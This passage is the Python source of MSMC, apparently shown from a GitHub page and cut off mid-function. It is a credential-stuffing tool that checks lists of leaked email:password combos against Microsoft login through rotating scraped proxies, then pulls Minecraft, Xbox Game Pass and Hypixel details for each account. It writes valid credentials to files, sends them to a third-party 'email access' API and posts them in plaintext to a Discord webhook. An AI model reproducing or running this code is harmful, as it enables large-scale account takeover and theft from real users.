-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathMSMC.py
786 lines (752 loc) · 38.8 KB
/
MSMC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
import requests, re, readchar, os, time, threading, random, urllib3, configparser, json, concurrent.futures, traceback, warnings, uuid, socket, socks, sys
from datetime import datetime, timezone
from colorama import Fore
from console import utils
from tkinter import filedialog
from urllib.parse import urlparse, parse_qs
from io import StringIO
#banchecking
from minecraft.networking.connection import Connection
from minecraft.authentication import AuthenticationToken, Profile
from minecraft.networking.connection import Connection
from minecraft.networking.packets import clientbound
from minecraft.exceptions import LoginDisconnect
logo = Fore.GREEN+'''
███▄ ▄███▓ ██████ ███▄ ▄███▓ ▄████▄
▓██▒▀█▀ ██▒▒██ ▒ ▓██▒▀█▀ ██▒▒██▀ ▀█
▓██ ▓██░░ ▓██▄ ▓██ ▓██░▒▓█ ▄
▒██ ▒██ ▒ ██▒▒██ ▒██ ▒▓▓▄ ▄██▒
▒██▒ ░██▒▒██████▒▒▒██▒ ░██▒▒ ▓███▀ ░
░ ▒░ ░ ░▒ ▒▓▒ ▒ ░░ ▒░ ░ ░░ ░▒ ▒ ░
░ ░ ░░ ░▒ ░ ░░ ░ ░ ░ ▒
░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░
░ \n'''
sFTTag_url = "https://login.live.com/oauth20_authorize.srf?client_id=00000000402B5328&redirect_uri=https://login.live.com/oauth20_desktop.srf&scope=service::user.auth.xboxlive.com::MBI_SSL&display=touch&response_type=token&locale=en"
Combos = []
proxylist = []
banproxies = []
fname = ""
hits,bad,twofa,cpm,cpm1,errors,retries,checked,vm,sfa,mfa,maxretries,xgp,xgpu,other = 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
urllib3.disable_warnings() #spams warnings because i send unverified requests for debugging purposes
warnings.filterwarnings("ignore") #spams python warnings on some functions, i may be using some outdated things...
#sys.stderr = open(os.devnull, 'w') #bancheck prints errors in cmd
class Config:
def __init__(self):
self.data = {}
def set(self, key, value):
self.data[key] = value
def get(self, key):
return self.data.get(key)
config = Config()
class Capture:
def __init__(self, email, password, name, capes, uuid, token, type):
self.email = email
self.password = password
self.name = name
self.capes = capes
self.uuid = uuid
self.token = token
self.type = type
self.hypixl = None
self.level = None
self.firstlogin = None
self.lastlogin = None
self.cape = None
self.access = None
self.sbcoins = None
self.bwstars = None
self.banned = None
self.namechanged = None
self.lastchanged = None
def builder(self):
message = f"Email: {self.email}\nPassword: {self.password}\nName: {self.name}\nCapes: {self.capes}\nAccount Type: {self.type}"
if self.hypixl != None: message+=f"\nHypixel: {self.hypixl}"
if self.level != None: message+=f"\nHypixel Level: {self.level}"
if self.firstlogin != None: message+=f"\nFirst Hypixel Login: {self.firstlogin}"
if self.lastlogin != None: message+=f"\nLast Hypixel Login: {self.lastlogin}"
if self.cape != None: message+=f"\nOptifine Cape: {self.cape}"
if self.access != None: message+=f"\nEmail Access: {self.access}"
if self.sbcoins != None: message+=f"\nHypixel Skyblock Coins: {self.sbcoins}"
if self.bwstars != None: message+=f"\nHypixel Bedwars Stars: {self.bwstars}"
if config.get('hypixelban') is True: message+=f"\nHypixel Banned: {self.banned or 'Unknown'}"
if self.namechanged != None: message+=f"\nCan Change Name: {self.namechanged}"
if self.lastchanged != None: message+=f"\nLast Name Change: {self.lastchanged}"
return message+"\n============================\n"
def notify(self):
global errors
try:
payload = {
"content": config.get('message')
.replace("<email>", self.email)
.replace("<password>", self.password)
.replace("<name>", self.name or "N/A")
.replace("<hypixel>", self.hypixl or "N/A")
.replace("<level>", self.level or "N/A")
.replace("<firstlogin>", self.firstlogin or "N/A")
.replace("<lastlogin>", self.lastlogin or "N/A")
.replace("<ofcape>", self.cape or "N/A")
.replace("<capes>", self.capes or "N/A")
.replace("<access>", self.access or "N/A")
.replace("<skyblockcoins>", self.sbcoins or "N/A")
.replace("<bedwarsstars>", self.bwstars or "N/A")
.replace("<banned>", self.banned or "Unknown")
.replace("<namechange>", self.namechanged or "N/A")
.replace("<lastchanged>", self.lastchanged or "N/A")
.replace("<type>", self.type or "N/A"),
"username": "MSMC"
}
requests.post(config.get('webhook'), data=json.dumps(payload), headers={"Content-Type": "application/json"})
except: pass
def hypixel(self):
global errors
try:
if config.get('hypixelname') is True or config.get('hypixellevel') is True or config.get('hypixelfirstlogin') is True or config.get('hypixellastlogin') is True or config.get('hypixelbwstars') is True:
tx = requests.get('https://plancke.io/hypixel/player/stats/'+self.name, proxies=getproxy(), headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0'}, verify=False).text
try:
if config.get('hypixelname') is True: self.hypixl = re.search('(?<=content=\"Plancke\" /><meta property=\"og:locale\" content=\"en_US\" /><meta property=\"og:description\" content=\").+?(?=\")', tx).group()
except: pass
try:
if config.get('hypixellevel') is True: self.level = re.search('(?<=Level:</b> ).+?(?=<br/><b>)', tx).group()
except: pass
try:
if config.get('hypixelfirstlogin') is True: self.firstlogin = re.search('(?<=<b>First login: </b>).+?(?=<br/><b>)', tx).group()
except: pass
try:
if config.get('hypixellastlogin') is True: self.lastlogin = re.search('(?<=<b>Last login: </b>).+?(?=<br/>)', tx).group()
except: pass
try:
if config.get('hypixelbwstars') is True: self.bwstars = re.search('(?<=<li><b>Level:</b> ).+?(?=</li>)', tx).group()
except: pass
if config.get('hypixelsbcoins') is True:
try:
req = requests.get("https://sky.shiiyu.moe/stats/"+self.name, proxies=getproxy(), verify=False) #didnt use the api here because this is faster ¯\_(ツ)_/¯
self.sbcoins = re.search('(?<= Networth: ).+?(?=\n)', req.text).group()
except: pass
except: errors+=1
def optifine(self):
if config.get('optifinecape') is True:
try:
txt = requests.get(f'http://s.optifine.net/capes/{self.name}.png', proxies=getproxy(), verify=False).text
if "Not found" in txt: self.cape = "No"
else: self.cape = "Yes"
except: self.cape = "Unknown"
def full_access(self):
global mfa, sfa
if config.get('access') is True:
try:
out = json.loads(requests.get(f"https://email.avine.tools/check?email={self.email}&password={self.password}", verify=False).text) #my mailaccess checking api pls dont rape or it will go offline prob (weak hosting)
if out["Success"] == 1:
self.access = "True"
mfa+=1
open(f"results/{fname}/MFA.txt", 'a').write(f"{self.email}:{self.password}\n")
else:
sfa+=1
self.access = "False"
open(f"results/{fname}/SFA.txt", 'a').write(f"{self.email}:{self.password}\n")
except: self.access = "Unknown"
def namechange(self):
if config.get('namechange') is True or config.get('lastchanged') is True:
tries = 0
while tries < maxretries:
try:
check = requests.get('https://api.minecraftservices.com/minecraft/profile/namechange', headers={'Authorization': f'Bearer {self.token}'}, proxies=getproxy(), verify=False)
if check.status_code == 200:
try:
data = check.json()
if config.get('namechange') is True:
self.namechanged = str(data.get('nameChangeAllowed', 'N/A'))
if config.get('lastchanged') is True:
created_at = data.get('createdAt')
if created_at:
try:
given_date = datetime.strptime(created_at, "%Y-%m-%dT%H:%M:%S.%fZ")
except ValueError:
given_date = datetime.strptime(created_at, "%Y-%m-%dT%H:%M:%SZ")
given_date = given_date.replace(tzinfo=timezone.utc)
formatted = given_date.strftime("%m/%d/%Y")
current_date = datetime.now(timezone.utc)
difference = current_date - given_date
years = difference.days // 365
months = (difference.days % 365) // 30
days = difference.days
if years > 0:
self.lastchanged = f"{years} {'year' if years == 1 else 'years'} - {formatted} - {created_at}"
elif months > 0:
self.lastchanged = f"{months} {'month' if months == 1 else 'months'} - {formatted} - {created_at}"
else:
self.lastchanged = f"{days} {'day' if days == 1 else 'days'} - {formatted} - {created_at}"
break
except: pass
if check.status_code == 429:
if len(proxylist) < 5: time.sleep(20)
Capture.namechange(self)
except: pass
tries+=1
retries+=1
def ban(self):
global errors
if config.get('hypixelban') is True:
auth_token = AuthenticationToken(username=self.name, access_token=self.token, client_token=uuid.uuid4().hex)
auth_token.profile = Profile(id_=self.uuid, name=self.name)
tries = 0
while tries < maxretries:
connection = Connection("alpha.hypixel.net", 25565, auth_token=auth_token, initial_version=47)
@connection.listener(clientbound.login.DisconnectPacket, early=True)
def login_disconnect(packet):
data = json.loads(str(packet.json_data))
if "Suspicious activity" in str(data):
self.banned = f"[Permanently] Suspicious activity has been detected on your account. Ban ID: {data['extra'][6]['text'].strip()}"
with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
elif "temporarily banned" in str(data):
self.banned = f"[{data['extra'][1]['text']}] {data['extra'][4]['text'].strip()} Ban ID: {data['extra'][8]['text'].strip()}"
with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
elif "You are permanently banned from this server!" in str(data):
self.banned = f"[Permanently] {data['extra'][2]['text'].strip()} Ban ID: {data['extra'][6]['text'].strip()}"
with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
elif "The Hypixel Alpha server is currently closed!" in str(data):
self.banned = "False"
with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
elif "Failed cloning your SkyBlock data" in str(data):
self.banned = "False"
with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
else:
self.banned = ''.join(item["text"] for item in data["extra"])
with open(f"results/{fname}/Banned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
@connection.listener(clientbound.play.JoinGamePacket, early=True)
def joined_server(packet):
if self.banned == None:
self.banned = "False"
with open(f"results/{fname}/Unbanned.txt", 'a') as f: f.write(f"{self.email}:{self.password}\n")
try:
if len(banproxies) > 0:
proxy = random.choice(banproxies)
if '@' in proxy:
atsplit = proxy.split('@')
socks.set_default_proxy(socks.SOCKS5, addr=atsplit[1].split(':')[0], port=int(atsplit[1].split(':')[1]), username=atsplit[0].split(':')[0], password=atsplit[0].split(':')[1])
else:
ip_port = proxy.split(':')
socks.set_default_proxy(socks.SOCKS5, addr=ip_port[0], port=int(ip_port[1]))
socket.socket = socks.socksocket
original_stderr = sys.stderr
sys.stderr = StringIO()
try:
connection.connect()
c = 0
while self.banned == None or c < 1000:
time.sleep(.01)
c+=1
connection.disconnect()
except: pass
sys.stderr = original_stderr
except: pass
if self.banned != None: break
tries+=1
def handle(self):
global hits
hits+=1
if screen == "'2'": print(Fore.GREEN+f"Hit: {self.name} | {self.email}:{self.password}")
with open(f"results/{fname}/Hits.txt", 'a') as file: file.write(f"{self.email}:{self.password}\n")
if self.name != 'N/A':
try: Capture.hypixel(self)
except: pass
try: Capture.optifine(self)
except: pass
try: Capture.full_access(self)
except: pass
try: Capture.namechange(self)
except: pass
try: Capture.ban(self)
except: pass
open(f"results/{fname}/Capture.txt", 'a').write(Capture.builder(self))
Capture.notify(self)
class Login:
def __init__(self, email, password):
self.email = email
self.password = password
def get_urlPost_sFTTag(session):
global retries
while True: #will retry forever until it gets a working request/url.
try:
r = session.get(sFTTag_url, timeout=15)
text = r.text
match = re.match(r'.*value="(.+?)".*', text, re.S)
if match is not None:
sFTTag = match.group(1)
match = re.match(r".*urlPost:'(.+?)'.*", text, re.S)
if match is not None:
return match.group(1), sFTTag, session
except: pass
session.proxy = getproxy()
retries+=1
def get_xbox_rps(session, email, password, urlPost, sFTTag):
global bad, checked, cpm, twofa, retries, checked
tries = 0
while tries < maxretries:
try:
data = {'login': email, 'loginfmt': email, 'passwd': password, 'PPFT': sFTTag}
login_request = session.post(urlPost, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'}, allow_redirects=True, timeout=15)
if '#' in login_request.url and login_request.url != sFTTag_url:
token = parse_qs(urlparse(login_request.url).fragment).get('access_token', ["None"])[0]
if token != "None":
return token, session
elif 'cancel?mkt=' in login_request.text:
data = {
'ipt': re.search('(?<=\"ipt\" value=\").+?(?=\">)', login_request.text).group(),
'pprid': re.search('(?<=\"pprid\" value=\").+?(?=\">)', login_request.text).group(),
'uaid': re.search('(?<=\"uaid\" value=\").+?(?=\">)', login_request.text).group()
}
ret = session.post(re.search('(?<=id=\"fmHF\" action=\").+?(?=\" )', login_request.text).group(), data=data, allow_redirects=True)
fin = session.get(re.search('(?<=\"recoveryCancel\":{\"returnUrl\":\").+?(?=\",)', ret.text).group(), allow_redirects=True)
token = parse_qs(urlparse(fin.url).fragment).get('access_token', ["None"])[0]
if token != "None":
return token, session
elif any(value in login_request.text for value in ["recover?mkt", "account.live.com/identity/confirm?mkt", "Email/Confirm?mkt", "/Abuse?mkt="]):
twofa+=1
checked+=1
cpm+=1
if screen == "'2'": print(Fore.MAGENTA+f"2FA: {email}:{password}")
with open(f"results/{fname}/2fa.txt", 'a') as file:
file.write(f"{email}:{password}\n")
return "None", session
elif any(value in login_request.text.lower() for value in ["password is incorrect", r"account doesn\'t exist.", "sign in to your microsoft account", "tried to sign in too many times with an incorrect account or password"]):
bad+=1
checked+=1
cpm+=1
if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}")
return "None", session
else:
session.proxy = getproxy()
retries+=1
tries+=1
except:
session.proxy = getproxy()
retries+=1
tries+=1
bad+=1
checked+=1
cpm+=1
if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}")
return "None", session
def validmail(email, password):
global vm, cpm, checked
vm+=1
cpm+=1
checked+=1
with open(f"results/{fname}/Valid_Mail.txt", 'a') as file: file.write(f"{email}:{password}\n")
if screen == "'2'": print(Fore.LIGHTMAGENTA_EX+f"Valid Mail: {email}:{password}")
def capture_mc(access_token, session, email, password, type):
global retries
while True:
try:
r = session.get('https://api.minecraftservices.com/minecraft/profile', headers={'Authorization': f'Bearer {access_token}'}, verify=False)
if r.status_code == 200:
capes = ", ".join([cape["alias"] for cape in r.json().get("capes", [])])
CAPTURE = Capture(email, password, r.json()['name'], capes, r.json()['id'], access_token, type)
CAPTURE.handle()
break
elif r.status_code == 429:
retries+=1
session.proxy = getproxy()
if len(proxylist) < 5: time.sleep(20)
continue
else: break
except:
retries+=1
session.proxy = getproxy()
continue
def checkmc(session, email, password, token):
global retries, bedrock, cpm, checked, xgp, xgpu, other
while True:
checkrq = session.get('https://api.minecraftservices.com/entitlements/mcstore', headers={'Authorization': f'Bearer {token}'}, verify=False)
if checkrq.status_code == 200:
if 'product_game_pass_ultimate' in checkrq.text:
xgpu+=1
cpm+=1
checked+=1
if screen == "'2'": print(Fore.LIGHTGREEN_EX+f"Xbox Game Pass Ultimate: {email}:{password}")
with open(f"results/{fname}/XboxGamePassUltimate.txt", 'a') as f: f.write(f"{email}:{password}\n")
try: capture_mc(token, session, email, password, "Xbox Game Pass Ultimate")
except:
CAPTURE = Capture(email, password, "N/A", "N/A", "N/A", "N/A", "Xbox Game Pass Ultimate [Unset MC]")
CAPTURE.handle()
return True
elif 'product_game_pass_pc' in checkrq.text:
xgp+=1
cpm+=1
checked+=1
if screen == "'2'": print(Fore.LIGHTGREEN_EX+f"Xbox Game Pass: {email}:{password}")
with open(f"results/{fname}/XboxGamePass.txt", 'a') as f: f.write(f"{email}:{password}\n")
capture_mc(token, session, email, password, "Xbox Game Pass")
return True
elif '"product_minecraft"' in checkrq.text:
checked+=1
cpm+=1
capture_mc(token, session, email, password, "Normal")
return True
else:
others = []
if 'product_minecraft_bedrock' in checkrq.text:
others.append("Minecraft Bedrock")
if 'product_legends' in checkrq.text:
others.append("Minecraft Legends")
if 'product_dungeons' in checkrq.text:
others.append('Minecraft Dungeons')
if others != []:
other+=1
cpm+=1
checked+=1
items = ', '.join(others)
open(f"results/{fname}/Other.txt", 'a').write(f"{email}:{password} | {items}\n")
if screen == "'2'": print(Fore.YELLOW+f"Other: {email}:{password} | {items}")
return True
else:
return False
elif checkrq.status_code == 429:
retries+=1
session.proxy = getproxy()
if len(proxylist) < 1: time.sleep(20)
continue
else:
return False
def mc_token(session, uhs, xsts_token):
global retries
while True:
try:
mc_login = session.post('https://api.minecraftservices.com/authentication/login_with_xbox', json={'identityToken': f"XBL3.0 x={uhs};{xsts_token}"}, headers={'Content-Type': 'application/json'}, timeout=15)
if mc_login.status_code == 429:
session.proxy = getproxy()
if len(proxylist) < 1: time.sleep(20)
continue
else:
return mc_login.json().get('access_token')
except:
retries+=1
session.proxy = getproxy()
continue
def authenticate(email, password, tries = 0):
global retries, bad, checked, cpm
try:
session = requests.Session()
session.verify = False
session.proxies = getproxy()
urlPost, sFTTag, session = get_urlPost_sFTTag(session)
token, session = get_xbox_rps(session, email, password, urlPost, sFTTag)
if token != "None":
hit = False
try:
xbox_login = session.post('https://user.auth.xboxlive.com/user/authenticate', json={"Properties": {"AuthMethod": "RPS", "SiteName": "user.auth.xboxlive.com", "RpsTicket": token}, "RelyingParty": "http://auth.xboxlive.com", "TokenType": "JWT"}, headers={'Content-Type': 'application/json', 'Accept': 'application/json'}, timeout=15)
js = xbox_login.json()
xbox_token = js.get('Token')
if xbox_token != None:
uhs = js['DisplayClaims']['xui'][0]['uhs']
xsts = session.post('https://xsts.auth.xboxlive.com/xsts/authorize', json={"Properties": {"SandboxId": "RETAIL", "UserTokens": [xbox_token]}, "RelyingParty": "rp://api.minecraftservices.com/", "TokenType": "JWT"}, headers={'Content-Type': 'application/json', 'Accept': 'application/json'}, timeout=15)
js = xsts.json()
xsts_token = js.get('Token')
if xsts_token != None:
access_token = mc_token(session, uhs, xsts_token)
if access_token != None:
hit = checkmc(session, email, password, access_token)
except: pass
if hit == False: validmail(email, password)
except:
if tries < maxretries:
tries+=1
retries+=1
authenticate(email, password, tries)
else:
bad+=1
checked+=1
cpm+=1
if screen == "'2'": print(Fore.RED+f"Bad: {email}:{password}")
finally:
session.close()
def Load():
global Combos, fname
filename = filedialog.askopenfile(mode='rb', title='Choose a Combo file',filetype=(("txt", "*.txt"), ("All files", "*.txt")))
if filename is None:
print(Fore.LIGHTRED_EX+"Invalid File.")
time.sleep(2)
Load()
else:
fname = os.path.splitext(os.path.basename(filename.name))[0]
try:
with open(filename.name, 'r+', encoding='utf-8') as e:
lines = e.readlines()
Combos = list(set(lines))
print(Fore.LIGHTBLUE_EX+f"[{str(len(lines) - len(Combos))}] Dupes Removed.")
print(Fore.LIGHTBLUE_EX+f"[{len(Combos)}] Combos Loaded.")
except:
print(Fore.LIGHTRED_EX+"Your file is probably harmed.")
time.sleep(2)
Load()
def Proxys():
global proxylist
fileNameProxy = filedialog.askopenfile(mode='rb', title='Choose a Proxy file',filetype=(("txt", "*.txt"), ("All files", "*.txt")))
if fileNameProxy is None:
print(Fore.LIGHTRED_EX+"Invalid File.")
time.sleep(2)
Proxys()
else:
try:
with open(fileNameProxy.name, 'r+', encoding='utf-8', errors='ignore') as e:
ext = e.readlines()
for line in ext:
try:
proxyline = line.split()[0].replace('\n', '')
proxylist.append(proxyline)
except: pass
print(Fore.LIGHTBLUE_EX+f"Loaded [{len(proxylist)}] lines.")
time.sleep(2)
except Exception:
print(Fore.LIGHTRED_EX+"Your file is probably harmed.")
time.sleep(2)
Proxys()
def logscreen():
global cpm, cpm1
cmp1 = cpm
cpm = 0
utils.set_title(f"MSMC by KillinMachine | Checked: {checked}\{len(Combos)} - Hits: {hits} - Bad: {bad} - 2FA: {twofa} - SFA: {sfa} - MFA: {mfa} - Xbox Game Pass: {xgp} - Xbox Game Pass Ultimate: {xgpu} - Valid Mail: {vm} - Other: {other} - Cpm: {cmp1*60} - Retries: {retries} - Errors: {errors}")
time.sleep(1)
threading.Thread(target=logscreen).start()
def cuiscreen():
global cpm, cpm1
os.system('cls')
cmp1 = cpm
cpm = 0
print(logo)
print(f" [{checked}\{len(Combos)}] Checked")
print(f" [{hits}] Hits")
print(f" [{bad}] Bad")
print(f" [{sfa}] SFA")
print(f" [{mfa}] MFA")
print(f" [{twofa}] 2FA")
print(f" [{xgp}] Xbox Game Pass")
print(f" [{xgpu}] Xbox Game Pass Ultimate")
print(f" [{other}] Other")
print(f" [{vm}] Valid Mail")
print(f" [{retries}] Retries")
print(f" [{errors}] Errors")
utils.set_title(f"MSMC by KillinMachine | Checked: {checked}\{len(Combos)} - Hits: {hits} - Bad: {bad} - 2FA: {twofa} - SFA: {sfa} - MFA: {mfa} - Xbox Game Pass: {xgp} - Xbox Game Pass Ultimate: {xgpu} - Valid Mail: {vm} - Other: {other} - Cpm: {cmp1*60} - Retries: {retries} - Errors: {errors}")
time.sleep(1)
threading.Thread(target=cuiscreen).start()
def finishedscreen():
#os.system('cls')
print(logo)
print()
print(Fore.LIGHTGREEN_EX+"Finished Checking!")
print()
print("Hits: "+str(hits))
print("Bad: "+str(bad))
print("SFA: "+str(sfa))
print("MFA: "+str(mfa))
print("2FA: "+str(twofa))
print("Xbox Game Pass: "+str(xgp))
print("Xbox Game Pass Ultimate: "+str(xgpu))
print("Other: "+str(other))
print("Valid Mail: "+str(vm))
print(Fore.LIGHTRED_EX+"Press any key to exit.")
repr(readchar.readkey())
os.abort()
def getproxy():
if proxytype == "'5'": return random.choice(proxylist)
if proxytype != "'4'":
proxy = random.choice(proxylist)
if proxytype == "'1'": return {'http': 'http://'+proxy, 'https': 'http://'+proxy}
elif proxytype == "'2'": return {'http': 'socks4://'+proxy,'https': 'socks4://'+proxy}
elif proxytype == "'3'" or proxytype == "'4'": return {'http': 'socks5://'+proxy,'https': 'socks5://'+proxy}
else: return None
def Checker(combo):
global bad, checked, cpm
try:
email, password = combo.strip().replace(' ', '').split(":")
if email != "" and password != "":
authenticate(str(email), str(password))
else:
if screen == "'2'": print(Fore.RED+f"Bad: {combo.strip()}")
bad+=1
cpm+=1
checked+=1
except:
if screen == "'2'": print(Fore.RED+f"Bad: {combo.strip()}")
bad+=1
cpm+=1
checked+=1
def loadconfig():
global maxretries, config
def str_to_bool(value):
return value.lower() in ('yes', 'true', 't', '1')
if not os.path.isfile("config.ini"):
c = configparser.ConfigParser(allow_no_value=True)
c['Settings'] = {
'Webhook': 'paste your discord webhook here',
'Max Retries': 5,
'Proxyless Ban Check': False,
'WebhookMessage': '''@everyone HIT: ||`<email>:<password>`||
Name: <name>
Account Type: <type>
Hypixel: <hypixel>
Hypixel Level: <level>
First Hypixel Login: <firstlogin>
Last Hypixel Login: <lastlogin>
Optifine Cape: <ofcape>
MC Capes: <capes>
Email Access: <access>
Hypixel Skyblock Coins: <skyblockcoins>
Hypixel Bedwars Stars: <bedwarsstars>
Banned: <banned>
Can Change Name: <namechange>
Last Name Change: <lastchanged>'''}
c['Scraper'] = {
'Auto Scrape Minutes': 5
}
c['Captures'] = {
'Hypixel Name': True,
'Hypixel Level': True,
'First Hypixel Login': True,
'Last Hypixel Login': True,
'Optifine Cape': True,
'Minecraft Capes': True,
'Email Access': True,
'Hypixel Skyblock Coins': True,
'Hypixel Bedwars Stars': True,
'Hypixel Ban': True,
'Name Change Availability': True,
'Last Name Change': True
}
with open('config.ini', 'w') as configfile:
c.write(configfile)
read_config = configparser.ConfigParser()
read_config.read('config.ini')
maxretries = int(read_config['Settings']['Max Retries'])
config.set('webhook', str(read_config['Settings']['Webhook']))
config.set('message', str(read_config['Settings']['WebhookMessage']))
config.set('proxylessban', str_to_bool(read_config['Settings']['Proxyless Ban Check']))
config.set('autoscrape', int(read_config['Scraper']['Auto Scrape Minutes']))
config.set('hypixelname', str_to_bool(read_config['Captures']['Hypixel Name']))
config.set('hypixellevel', str_to_bool(read_config['Captures']['Hypixel Level']))
config.set('hypixelfirstlogin', str_to_bool(read_config['Captures']['First Hypixel Login']))
config.set('hypixellastlogin', str_to_bool(read_config['Captures']['Last Hypixel Login']))
config.set('optifinecape', str_to_bool(read_config['Captures']['Optifine Cape']))
config.set('mcapes', str_to_bool(read_config['Captures']['Minecraft Capes']))
config.set('access', str_to_bool(read_config['Captures']['Email Access']))
config.set('hypixelsbcoins', str_to_bool(read_config['Captures']['Hypixel Skyblock Coins']))
config.set('hypixelbwstars', str_to_bool(read_config['Captures']['Hypixel Bedwars Stars']))
config.set('hypixelban', str_to_bool(read_config['Captures']['Hypixel Ban']))
config.set('namechange', str_to_bool(read_config['Captures']['Name Change Availability']))
config.set('lastchanged', str_to_bool(read_config['Captures']['Last Name Change']))
def get_proxies():
global proxylist
http = []
socks4 = []
socks5 = []
api_http = [
"https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=http&timeout=15000&proxy_format=ipport&format=text",
"https://raw.githubusercontent.com/prxchk/proxy-list/main/http.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES
]
api_socks4 = [
"https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=socks4&timeout=15000&proxy_format=ipport&format=text",
"https://raw.githubusercontent.com/prxchk/proxy-list/main/socks4.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES
]
api_socks5 = [
"https://api.proxyscrape.com/v3/free-proxy-list/get?request=getproxies&protocol=socks5&timeout=15000&proxy_format=ipport&format=text",
"https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt",
"https://raw.githubusercontent.com/prxchk/proxy-list/main/socks5.txt" #JUST SO YOU KNOW YOU CANNOT PUT ANY PAGE WITH PROXIES HERE UNLESS ITS JUST PROXIES ON THE PAGE, TO SEE WHAT I MEAN VISIT THE WEBSITES
]
for service in api_http:
http.extend(requests.get(service).text.splitlines())
for service in api_socks4:
socks4.extend(requests.get(service).text.splitlines())
for service in api_socks5:
socks5.extend(requests.get(service).text.splitlines())
try:
for dta in requests.get("https://proxylist.geonode.com/api/proxy-list?protocols=socks4&limit=500").json().get('data'):
socks4.append(f"{dta.get('ip')}:{dta.get('port')}")
except: pass
try:
for dta in requests.get("https://proxylist.geonode.com/api/proxy-list?protocols=socks5&limit=500").json().get('data'):
socks5.append(f"{dta.get('ip')}:{dta.get('port')}")
except: pass
http = list(set(http))
socks4 = list(set(socks4))
socks5 = list(set(socks5))
proxylist.clear()
for proxy in http: proxylist.append({'http': 'http://'+proxy, 'https': 'http://'+proxy})
for proxy in socks4: proxylist.append({'http': 'socks4://'+proxy,'https': 'socks4://'+proxy})
for proxy in socks5: proxylist.append({'http': 'socks5://'+proxy,'https': 'socks5://'+proxy})
if screen == "'2'": print(Fore.LIGHTBLUE_EX+f'Scraped [{len(proxylist)}] proxies')
time.sleep(config.get('autoscrape') * 60)
get_proxies()
def banproxyload():
global banproxies
proxyfile = filedialog.askopenfile(mode='rb', title='Choose a SOCKS5 Proxy file',filetype=(("txt", "*.txt"), ("All files", "*.txt")))
if proxyfile is None:
print(Fore.LIGHTRED_EX+"Invalid File.")
